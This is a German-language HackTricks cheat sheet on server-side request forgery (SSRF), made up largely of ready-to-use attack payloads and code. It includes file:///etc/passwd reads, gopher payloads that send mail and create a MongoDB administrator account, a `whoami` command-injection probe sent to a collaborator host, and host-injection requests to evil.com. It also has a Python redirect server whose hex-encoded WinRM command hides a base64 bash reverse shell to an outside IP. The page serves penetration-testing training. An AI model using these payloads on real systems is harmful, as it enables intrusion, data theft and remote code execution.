SSRF (Server Side Request Forgery)
Reading time: 26 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundinformationen
Eine Server-seitige Anfragefälschung (SSRF)-Schwachstelle tritt auf, wenn ein Angreifer eine serverseitige Anwendung manipuliert, um HTTP-Anfragen an eine von ihm gewählte Domain zu senden. Diese Schwachstelle setzt den Server willkürlichen externen Anfragen aus, die vom Angreifer geleitet werden.
SSRF erfassen
Das erste, was Sie tun müssen, ist, eine von Ihnen generierte SSRF-Interaktion zu erfassen. Um eine HTTP- oder DNS-Interaktion zu erfassen, können Sie Tools wie die folgenden verwenden:
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - Ein Burp Collaborator, der ngrok verwendet
Umgehung von Whitelisted Domains
In der Regel werden Sie feststellen, dass die SSRF nur in bestimmten whitelisted Domains oder URLs funktioniert. Auf der folgenden Seite finden Sie eine Zusammenstellung von Techniken, um diese Whitelist zu umgehen:
Umgehung über offenen Redirect
Wenn der Server korrekt geschützt ist, könnten Sie alle Einschränkungen umgehen, indem Sie einen offenen Redirect innerhalb der Webseite ausnutzen. Da die Webseite SSRF zur gleichen Domain zulässt und wahrscheinlich Redirects folgt, können Sie den offenen Redirect ausnutzen, um den Server dazu zu bringen, auf interne Ressourcen zuzugreifen.
Lesen Sie hier mehr: https://portswigger.net/web-security/ssrf
Protokolle
- file://
- Das URL-Schema
file://
wird referenziert und zeigt direkt auf/etc/passwd
:file:///etc/passwd
- dict://
- Das DICT-URL-Schema wird beschrieben, um Definitionen oder Wortlisten über das DICT-Protokoll abzurufen. Ein gegebenes Beispiel zeigt eine konstruierte URL, die auf ein bestimmtes Wort, eine Datenbank und eine Eintragsnummer abzielt, sowie einen Fall, in dem ein PHP-Skript möglicherweise missbraucht wird, um sich mit einem DICT-Server unter Verwendung von Angreifer bereitgestellten Anmeldeinformationen zu verbinden:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
- SFTP://
- Identifiziert als Protokoll für den sicheren Dateitransfer über Secure Shell, wird ein Beispiel bereitgestellt, das zeigt, wie ein PHP-Skript ausgenutzt werden könnte, um sich mit einem bösartigen SFTP-Server zu verbinden:
url=sftp://generic.com:11111/
- TFTP://
- Das Trivial File Transfer Protocol, das über UDP arbeitet, wird mit einem Beispiel eines PHP-Skripts erwähnt, das entwickelt wurde, um eine Anfrage an einen TFTP-Server zu senden. Eine TFTP-Anfrage wird an 'generic.com' auf Port '12346' für die Datei 'TESTUDPPACKET' gesendet:
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
- LDAP://
- Dieser Abschnitt behandelt das Lightweight Directory Access Protocol und betont dessen Verwendung zur Verwaltung und zum Zugriff auf verteilte Verzeichnisinformationsdienste über IP-Netzwerke. Interagieren Sie mit einem LDAP-Server auf localhost:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
- SMTP
- Eine Methode wird beschrieben, um SSRF-Schwachstellen auszunutzen, um mit SMTP-Diensten auf localhost zu interagieren, einschließlich Schritte zur Offenlegung interner Domainnamen und weiterer Ermittlungsaktionen basierend auf diesen Informationen.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL globbing - WAF umgehung
- Wenn das SSRF von curl ausgeführt wird, hat curl eine Funktion namens URL globbing, die nützlich sein könnte, um WAFs zu umgehen. Zum Beispiel finden Sie in diesem writeup dieses Beispiel für eine Pfad Traversierung über das
file
Protokoll:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- Gopher://
- Die Fähigkeit des Gopher-Protokolls, IP, Port und Bytes für die Serverkommunikation anzugeben, wird erörtert, zusammen mit Tools wie Gopherus und remote-method-guesser zur Erstellung von Payloads. Zwei verschiedene Anwendungen werden veranschaulicht:
Gopher://
Mit diesem Protokoll können Sie die IP, den Port und die Bytes angeben, die der Server senden soll. Dann können Sie im Grunde eine SSRF ausnutzen, um mit irgendeinem TCP-Server zu kommunizieren (aber Sie müssen wissen, wie man mit dem Dienst spricht).
Glücklicherweise können Sie Gopherus verwenden, um Payloads für mehrere Dienste zu erstellen. Darüber hinaus kann remote-method-guesser verwendet werden, um gopher Payloads für Java RMI Dienste zu erstellen.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP — Rückverbindung zu 1337
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
Gopher MongoDB -- Erstelle Benutzer mit Benutzername=admin mit Passwort=admin123 und mit Berechtigung=administrator
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
SSRF über Referrer-Header & Andere
Analytics-Software auf Servern protokolliert oft den Referrer-Header, um eingehende Links zu verfolgen, eine Praxis, die Anwendungen unbeabsichtigt Server-Side Request Forgery (SSRF) -Schwachstellen aussetzt. Dies liegt daran, dass solche Software externe URLs, die im Referrer-Header erwähnt werden, besuchen kann, um den Inhalt der verweisenden Seite zu analysieren. Um diese Schwachstellen aufzudecken, wird das Burp Suite-Plugin "Collaborator Everywhere" empfohlen, das die Art und Weise nutzt, wie Analysetools den Referer-Header verarbeiten, um potenzielle SSRF-Angriffsflächen zu identifizieren.
SSRF über SNI-Daten aus dem Zertifikat
Eine Fehlkonfiguration, die die Verbindung zu jedem Backend über eine einfache Einrichtung ermöglichen könnte, wird mit einem Beispiel für eine Nginx-Konfiguration veranschaulicht:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
In dieser Konfiguration wird der Wert aus dem Server Name Indication (SNI) Feld direkt als Adresse des Backends verwendet. Dieses Setup birgt eine Schwachstelle für Server-Side Request Forgery (SSRF), die ausgenutzt werden kann, indem einfach die gewünschte IP-Adresse oder der Domainname im SNI-Feld angegeben wird. Ein Beispiel für die Ausnutzung, um eine Verbindung zu einem beliebigen Backend, wie internal.host.com
, mit dem openssl
Befehl herzustellen, ist unten angegeben:
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
Wget-Datei-Upload
SSRF mit Befehlseinschleusung
Es könnte sich lohnen, eine Payload wie: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
auszuprobieren.
PDF-Darstellung
Wenn die Webseite automatisch ein PDF mit einigen Informationen erstellt, die Sie bereitgestellt haben, können Sie einige JS einfügen, die vom PDF-Ersteller selbst (dem Server) während der Erstellung des PDFs ausgeführt werden, und Sie werden in der Lage sein, eine SSRF auszunutzen. Hier finden Sie weitere Informationen.
Von SSRF zu DoS
Erstellen Sie mehrere Sitzungen und versuchen Sie, große Dateien herunterzuladen, indem Sie die SSRF aus den Sitzungen ausnutzen.
SSRF PHP-Funktionen
Überprüfen Sie die folgende Seite auf anfällige PHP- und sogar Wordpress-Funktionen:
SSRF-Weiterleitung zu Gopher
Für einige Exploits müssen Sie möglicherweise eine Weiterantwort senden (möglicherweise um ein anderes Protokoll wie Gopher zu verwenden). Hier haben Sie verschiedene Python-Codes, um mit einer Weiterleitung zu antworten:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Fehlkonfigurierte Proxys zu SSRF
Tricks aus diesem Beitrag.
Flask
Flask Proxy anfälliger Code
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
if __name__ == "__main__":
app.run(threaded=False)
Flask erlaubt die Verwendung von @
als Anfangszeichen, was es ermöglicht, den ursprünglichen Hostnamen als Benutzernamen zu verwenden und einen neuen einzufügen. Angriffsanfrage:
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Anfälliger Code:
.png)
Es wurde entdeckt, dass es möglich ist, den Pfad einer Anfrage mit dem Zeichen ;
zu beginnen, was es ermöglicht, dann @
zu verwenden und einen neuen Host zur Zugriff zu injizieren. Angriffsanfrage:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
PHP Eingebauter Webserver
Verwundbarer PHP-Code
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];
$proxy_site = $site.$current_uri;
var_dump($proxy_site);
echo "\n\n";
$response = file_get_contents($proxy_site);
var_dump($response);
?>
PHP erlaubt die Verwendung des Zeichens *
vor einem Schrägstrich im Pfad der URL, hat jedoch andere Einschränkungen, wie dass es nur für den Stammpfad /
verwendet werden kann und dass Punkte .
vor dem ersten Schrägstrich nicht erlaubt sind. Daher ist es erforderlich, beispielsweise eine punktlose hexadezimale kodierte IP-Adresse zu verwenden:
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
DNS Rebidding CORS/SOP Bypass
Wenn Sie Probleme haben, Inhalte von einer lokalen IP aufgrund von CORS/SOP zu exfiltrieren, kann DNS Rebidding verwendet werden, um diese Einschränkung zu umgehen:
CORS - Misconfigurations & Bypass
Automatisiertes DNS Rebidding
Singularity of Origin
ist ein Tool, um DNS-Rebinding Angriffe durchzuführen. Es enthält die notwendigen Komponenten, um die IP-Adresse des Angreifer-Server-DNS-Namens auf die IP-Adresse der Zielmaschine zurückzubinden und um Angriffs-Payloads bereitzustellen, um anfällige Software auf der Zielmaschine auszunutzen.
Sehen Sie sich auch den öffentlich laufenden Server in http://rebind.it/singularity.html an.
DNS Rebidding + TLS-Sitzungs-ID/Sitzungsticket
Anforderungen:
- SSRF
- Ausgehende TLS-Sitzungen
- Dinge auf lokalen Ports
Angriff:
- Bitten Sie den Benutzer/Bot, Zugriff auf eine Domain zu erhalten, die vom Angreifer kontrolliert wird.
- Die TTL des DNS beträgt 0 Sekunden (der Opfer wird also bald die IP der Domain erneut überprüfen).
- Eine TLS-Verbindung wird zwischen dem Opfer und der Domain des Angreifers hergestellt. Der Angreifer fügt die Payload in die Sitzungs-ID oder das Sitzungsticket ein.
- Die Domain wird eine unendliche Schleife von Weiterleitungen gegen sich selbst starten. Das Ziel ist es, den Benutzer/Bot dazu zu bringen, die Domain zuzugreifen, bis er erneut eine DNS-Anfrage der Domain durchführt.
- In der DNS-Anfrage wird jetzt eine private IP-Adresse angegeben (zum Beispiel 127.0.0.1).
- Der Benutzer/Bot wird versuchen, die TLS-Verbindung wiederherzustellen, und um dies zu tun, wird er die Sitzungs-ID/Ticket-ID (in der die Payload des Angreifers enthalten war) senden. Herzlichen Glückwunsch, Sie haben es geschafft, den Benutzer/Bot dazu zu bringen, sich selbst anzugreifen.
Beachten Sie, dass Sie während dieses Angriffs, wenn Sie localhost:11211 (memcache) angreifen möchten, das Opfer dazu bringen müssen, die ursprüngliche Verbindung mit www.attacker.com:11211 herzustellen (der Port muss immer derselbe sein).
Um diesen Angriff durchzuführen, können Sie das Tool: https://github.com/jmdx/TLS-poison/
Für weitere Informationen werfen Sie einen Blick auf den Vortrag, in dem dieser Angriff erklärt wird: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
Blind SSRF
Der Unterschied zwischen einem blinden SSRF und einem nicht blinden besteht darin, dass Sie bei einem blinden SSRF die Antwort der SSRF-Anfrage nicht sehen können. Daher ist es schwieriger auszunutzen, da Sie nur gut bekannte Schwachstellen ausnutzen können.
Zeitbasierter SSRF
Überprüfung der Zeit der Antworten vom Server könnte möglich machen zu wissen, ob eine Ressource existiert oder nicht (vielleicht dauert der Zugriff auf eine vorhandene Ressource länger als auf eine, die nicht existiert).
Von blind zu vollem Missbrauch von Statuscodes
Laut diesem Blogbeitrag können einige blinde SSRF auftreten, weil selbst wenn die angezielte URL mit einem 200-Statuscode antwortet (wie AWS-Metadaten), diese Daten nicht richtig formatiert sind und die App daher möglicherweise verweigert, sie anzuzeigen.
Es wurde jedoch festgestellt, dass das Senden einiger Weiterleitungsantworten von 305 bis 309 im SSRF möglicherweise dazu führen kann, dass die Anwendung diese Weiterleitungen verfolgt, während sie in einen Fehlermodus eintritt, der nicht mehr das Format der Daten überprüft und sie möglicherweise einfach ausgibt.
Der Python-Server, der verwendet wird, um dies auszunutzen, ist der folgende:
@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10: # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)
@app.route("/start")
def start():
return redirect("/redir", 302)
Schritte:
- Zuerst 302 bringt die App dazu, weiter zu folgen.
- Dann erhält sie 305 → 306 → 307 → 308 → 309 → 310.
- Nach dem 5. seltsamen Code gibt das PoC schließlich 302 → 169.254.169.254 → 200 OK zurück.
Was im Ziel passiert:
- libcurl folgt selbst 305–310; es normalisiert unbekannte Codes einfach zu „folgen“.
- Nach N seltsamen Weiterleitungen (≥ 5 hier) entscheidet der eigene Wrapper der Anwendung, dass „etwas nicht stimmt“ und wechselt in einen Fehlermodus, der für das Debugging gedacht ist.
- In diesem Modus gibt es die gesamte Weiterleitungskette plus den finalen Body an den externen Aufrufer zurück.
- Ergebnis: Der Angreifer sieht jeden Header + die Metadaten-JSON, Mission erfüllt.
Beachten Sie, dass dies interessant ist, um Statuscodes zu leaken, die Sie zuvor nicht leaken konnten (wie ein 200). Wenn Sie jedoch irgendwie auch den Statuscode der Antwort auswählen könnten (stellen Sie sich vor, Sie können entscheiden, dass die AWS-Metadaten mit einem 500-Statuscode antworten), könnte es einige Statuscodes geben, die direkt den Inhalt der Antwort leaken.
Cloud SSRF Ausnutzung
Wenn Sie eine SSRF-Sicherheitsanfälligkeit auf einer Maschine in einer Cloud-Umgebung finden, könnten Sie interessante Informationen über die Cloud-Umgebung und sogar Anmeldeinformationen erhalten:
SSRF Verwundbare Plattformen
Mehrere bekannte Plattformen enthalten oder haben SSRF-Sicherheitsanfälligkeiten gehabt, überprüfen Sie diese in:
Werkzeuge
SSRFMap
Tool zur Erkennung und Ausnutzung von SSRF-Sicherheitsanfälligkeiten
Gopherus
Dieses Tool generiert Gopher-Payloads für:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser ist ein Java RMI Sicherheitsanfälligkeitsscanner, der Angriffsoperationen für die häufigsten Java RMI Sicherheitsanfälligkeiten unterstützt. Die meisten der verfügbaren Operationen unterstützen die --ssrf
Option, um eine SSRF Payload für die angeforderte Operation zu generieren. Zusammen mit der --gopher
Option können direkt einsatzbereite gopher Payloads generiert werden.
SSRF Proxy
SSRF Proxy ist ein mehrstufiger HTTP-Proxy-Server, der entwickelt wurde, um den HTTP-Verkehr des Clients durch HTTP-Server zu tunneln, die anfällig für Server-Side Request Forgery (SSRF) sind.
Um zu üben
Referenzen
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.